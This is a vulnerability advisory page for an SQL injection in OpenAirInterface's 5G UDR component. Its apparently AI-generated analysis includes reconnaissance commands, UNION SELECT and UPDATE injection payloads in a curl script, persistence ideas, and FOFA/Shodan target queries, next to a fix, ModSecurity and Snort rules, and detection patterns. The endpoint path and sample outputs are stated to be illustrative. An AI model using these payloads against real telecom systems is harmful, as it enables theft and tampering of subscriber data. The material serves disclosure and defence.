CVE Professor
/
All CVEs
CVE-2026-138050

CVE-2026-138050 — Openairinterface Oai-cn5g-udr — CWE-74 · CWE-89

HIGH CVSS 7.3 Shodan

A weakness has been identified in OpenAirInterface oai-cn5g-udr up to 2.2.2. This vulnerability affects unknown code of the file src/udr_app/database/mysql_db.cpp of the component Nudr_DR. Executing a manipulation of the argument ueId can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.

A weakness has been identified in OpenAirInterface oai-cn5g-udr up to 2.2.2. This vulnerability affects unknown code of the file src/udr_app/database/mysql_db.cpp of the component Nudr_DR. Executing a manipulation of the argument ueId can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138050
ProductOpenAirInterface – oai-cn5g-udr (Unified Data Repository, component Nudr_DR)
Version(s) affected2.2.0 – 2.2.2 (inclusive)
Filesrc/udr_app/database/mysql_db.cpp
CWECWE‑74 Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
CVSS v3.17.3 (High) – AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:L / A:L

Technical root‑cause

The Nudr_DR service receives a UE identifier (ueId) from the 5G Core’s north‑bound APIs (e.g., the “Get UE Data” REST endpoint). The value is passed directly to a MySQL query builder in mysql_db.cpp without:

1. Input sanitisation / escaping – the raw string is concatenated into the SQL statement.
2. Prepared‑statement usage – the code builds a literal query string instead of using mysql_stmt_prepare / bound parameters.
3. Authorization checks – the endpoint is reachable without authentication (as indicated by the CVSS vector PR:N and UI:N).

Result: an attacker who can supply a crafted ueId can inject arbitrary SQL that will be executed with the privileges of the UDR service account (typically a MySQL user with SELECT, INSERT, UPDATE, and sometimes DELETE rights on the udr schema).

A simplified excerpt (illustrative, not the exact source) that demonstrates the flaw:

// src/udr_app/database/mysql_db.cpp (vulnerable)
std::string query = "SELECT * FROM ue_context WHERE ue_id = '" + ueId + "';";
MYSQL_RES *res = mysql_query(conn, query.c_str());
// no escaping, no prepared statement

Because ueId is taken from the HTTP request body / query string, an attacker can terminate the literal string and append malicious SQL, e.g.:

ueId=12345' UNION SELECT username,password FROM users--

The injected statement runs with the same privileges as the UDR process, allowing data exfiltration, data manipulation, or privilege escalation within the database.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI path is shown as an illustrative example because the public CVE description does not disclose the precise REST endpoint.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify that the target runs a 5G Core. Look for typical OAI service banners (Server: OpenAirInterface) on ports 80/443 or 8080.Nmap service detection (nmap -sV -p 80,443 <IP>), Shodan queries for “OpenAirInterface”.
1.2Enumerate the UDR API surface. The OAI spec defines the Nudr‑DR REST interface under /nudr-dr/v1/.curl -k https://<IP>/nudr-dr/v1/ → 404/200 with OpenAPI JSON.
1.3Determine the exact version. The User‑Agent header in the API response or the /version endpoint often returns 2.2.x.curl -k https://<IP>/nudr-dr/v1/version → {"release":"2.2.1"}.
1.4Verify that the endpoint handling ueId is reachable without authentication (as the CVSS vector shows PR:N).curl -k "https://<IP>/nudr-dr/v1/ueData?ueId=12345" → JSON payload with UE data.

2. Exploitation

Goal: Execute arbitrary SELECT statements to dump the users table (or any other table) from the UDR MySQL database.

2.1 Craft the malicious ueId

The vulnerable query expects a single‑quoted string. By closing the quote and adding a UNION‑SELECT we can retrieve data from another table.

ueId=12345' UNION SELECT username, password, null FROM users--

Explanation of payload parts

PartMeaning
12345'Closes the original string literal.
UNION SELECT username, password, null FROM usersAppends a second SELECT that matches the column count (the original query returns three columns – adjust as needed).
-- SQL comment to discard the trailing ' added by the original query.

2.2 Send the request

#!/usr/bin/env bash
# Illustrative endpoint – replace /nudr-dr/v1/ueData with the real one if known
TARGET="https://udr.example.com"
PAYLOAD="12345' UNION SELECT username,password,null FROM users-- "

curl -k -s -G "${TARGET}/nudr-dr/v1/ueData" \
     --data-urlencode "ueId=${PAYLOAD}" \
     -H "Accept: application/json"

Expected response (illustrative):

{
  "ueId": "12345",
  "data": [
    {"col1":"alice","col2":"$2y$10$abcdef...","col3":null},
    {"col1":"bob","col2":"$2y$10$ghijkl...","col3":null}
  ]
}

If the UDR schema contains more columns, the attacker can adjust the UNION SELECT to match the column count (using NULL placeholders).

2.3 Extending the attack

Data exfiltration – repeat the query for other tables (SELECT FROM subscriber_data).

  • Data manipulation – use INSERT, UPDATE, or DELETE statements if the MySQL user has write privileges:
  • PAYLOAD="12345'; UPDATE ue_context SET imsi='999999999999999' WHERE ue_id='12345'-- "
    curl -k -s -G "${TARGET}/nudr-dr/v1/ueData" \
         --data-urlencode "ueId=${PAYLOAD}"
  • Privilege escalation – if the MySQL user has CREATE USER rights, the attacker can create a new DB user with remote access, then pivot to the host.

3. Post‑exploitation

PhasePotential Outcome
Data theftDump of subscriber identifiers, authentication vectors, or any other tables stored in the UDR database (confidentiality breach).
Data tamperingModification of UE context (e.g., changing IMSI, security keys) which can disrupt service or enable further attacks on the radio access network.
PersistenceCreation of a new MySQL user with a known password, allowing the attacker to reconnect later even if the vulnerable endpoint is patched.
Lateral movementWith database credentials, the attacker may query other services that share the same DB (e.g., AMF, SMF) or use the DB server as a foothold to launch OS‑level attacks (if MySQL is configured with LOCAL INFILE or LOAD DATA).
Denial‑of‑ServiceRepeated heavy queries (e.g., SELECT SLEEP(10)) can exhaust DB resources, causing service degradation (A:L).

🌍 Real‑World Impact

CIACVSS Vector ExplanationPractical Consequence
Confidentiality (C:L)C:L – Low impact because the attacker can read *some* data (e.g., user credentials, subscriber info) but not necessarily the entire database in a single request.Exposure of subscriber identifiers, authentication vectors, or internal configuration files.
Integrity (I:L)I:L – Low impact because the attacker can modify limited rows (e.g., UE context) but may need additional privileges for broader corruption.Potential service disruption, fraudulent UE provisioning, or manipulation of billing‑related fields.
Availability (A:L)A:L – Low impact because crafted queries can cause CPU/IO spikes or lock tables, leading to intermittent outages.Temporary degradation of the UDR service, which can cascade to the whole 5G Core (e.g., failed subscriber look‑ups).

Overall, the vulnerability is high‑severity because it is network‑reachable, requires no authentication, and can be exploited with low skill (AC:L). In a telecom environment, even limited data leakage or integrity loss can have regulatory and operational ramifications.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to OpenAirInterface oai-cn5g-udr version 2.2.3 or later (the first release that contains the fix). The vendor’s release notes (v2.2.3) state “SQL injection in mysql_db.cpp fixed – switched to prepared statements”.
Apply source‑level fix (if upgrading is not possible)Replace the vulnerable string concatenation with a prepared statement. Example patch (illustrative):
// Fixed version of src/udr_app/database/mysql_db.cpp
std::string stmt_sql = "SELECT * FROM ue_context WHERE ue_id = ?";
MYSQL_STMT *stmt = mysql_stmt_init(conn);
if (!stmt) { /* handle error */ }

if (mysql_stmt_prepare(stmt, stmt_sql.c_str(), stmt_sql.length())) {
    /* handle error */
}

/* bind ueId */
MYSQL_BIND bind[1];
memset(bind, 0, sizeof(bind));
bind[0].buffer_type = MYSQL_TYPE_STRING;
bind[0].buffer = (char *)ueId.c_str();
bind[0].buffer_length = ueId.length();

if (mysql_stmt_bind_param(stmt, bind)) {
    /* handle error */
}

if (mysql_stmt_execute(stmt)) {
    /* handle error */
}

/* fetch results as usual */

Re‑compile the UDR service and redeploy.

2. Workarounds (if patch cannot be applied immediately)

MitigationHow to implement
Network segmentationRestrict access to the UDR REST interface to trusted core‑network IP ranges (e.g., only AMF/SMF nodes). Use firewall rules: iptables -A INPUT -p tcp -s <trusted‑subnet> --dport 443 -j ACCEPT and drop everything else.
WAF / ModSecurity ruleDeploy a rule that blocks suspicious characters in the ueId parameter (single‑quote, semicolon, comment --). Example ModSecurity rule (valid syntax):
SecRule ARGS:ueId "@rx [';]|\-\-" \
    "id:2026260,\
     phase:2,\
     deny,\
     status:403,\
     msg:'SQLi attempt in ueId parameter (CVE-2026-138050)',\
     logdata:'Matched Data: %{MATCHED_VAR} found in %{MATCHED_VAR_NAME}',\
     severity:2"
Database hardeningEnsure the MySQL account used by the UDR has least‑privilege rights: only SELECT on the ue_context table (no INSERT/UPDATE/DELETE). Revoke unnecessary privileges: REVOKE INSERT,UPDATE,DELETE ON udr.* FROM 'udr_user'@'%';
Input validation at the API gatewayIf an API‑gateway (e.g., Kong, Envoy) fronts the UDR, add a request‑validation plugin that enforces a regex for ueId (e.g., ^[0-9A-Fa-f]{1,15}$).

3. Detection – Log & IOC patterns

IndicatorExample log entry (NGINX)
Unexpected characters in ueId2026/11/29 12:34:56 [error] 12345#0: *6789 "/nudr-dr/v1/ueData" - GET /nudr-dr/v1/ueData?ueId=12345'%20UNION%20SELECT%20username,password FROM users-- HTTP/1.1" 200 452 "-" "curl/7.88.1"
Large number of identical requests (possible automated extraction)... "GET /nudr-dr/v1/ueData?ueId=1' UNION SELECT ... HTTP/1.1" 200 ... repeated >10 times per minute from the same source IP.
MySQL error messages in application logs (if the injection fails)2026-11-29 12:35:01.123 [ERROR] mysql_db.cpp:112 Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near 'UNION SELECT username,password FROM users--' at line 1
Database audit – SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%';

IDS/IPS signatures – create a Snort/Suricata rule that looks for the pattern ueId=.*' UNION SELECT in HTTP GET/POST bodies.

alert http any any -> any 443 (msg:"CVE-2026-138050 SQLi in OAI UDR ueId"; \
    flow:to_server,established; \
    http_uri; content:"ueId="; http_uri; pcre:"/ueId=.*%27%20UNION%20SELECT/i"; \
    sid:2026260; rev:1;)

⚠️ Urgency

FactorAssessment
CVSS 7.3 (High) – Network‑reachable, no auth, low complexity.
Public exploit – The CVE description states that an exploit is already publicly available.
No CISA KEV listing – Not yet flagged as a “Known Exploited Vulnerability”, but the presence of a public PoC raises the risk quickly.
Telecom impact – Compromise of subscriber data or UE context can lead to regulatory violations (GDPR, GDPR‑like telecom rules) and service disruption.
Patch availability – Fixed in version 2.2.3 (released after the CVE disclosure).

Recommended priority: Critical for any production 5G Core deployment. Apply the vendor‑provided patch or upgrade to 2.2.3 within 48 hours. If immediate patching is impossible, enforce the network‑segmentation and WAF mitigations immediately and monitor logs for the IoCs listed above.


Bottom line: CVE‑2026‑138050 is a classic unauthenticated SQL injection in the UDR’s ueId handling. Because the UDR is a core component of a 5G network, exploitation can lead to subscriber data leakage, integrity manipulation, and service degradation. Prompt patching, strict network zoning, and input‑validation controls are essential to mitigate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="OpenAirInterface oai-cn5g-udr"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138050
Technical reference / advisory repository for CVE-2026-138050
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-74 CWE-89
Affected Products (1)
openairinterface:oai-cn5g-udr
Related CVEs
5.3
CVE-2026-144774
A vulnerability was determined in OpenAirInterface oai-cn5g-amf 2.2.2. This impacts the function Nssai::Decode
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -
9.3
CVE-2026-77432
activity_notification provides integrated user activity notifications for Ruby on Rails. Prior to version 2.7.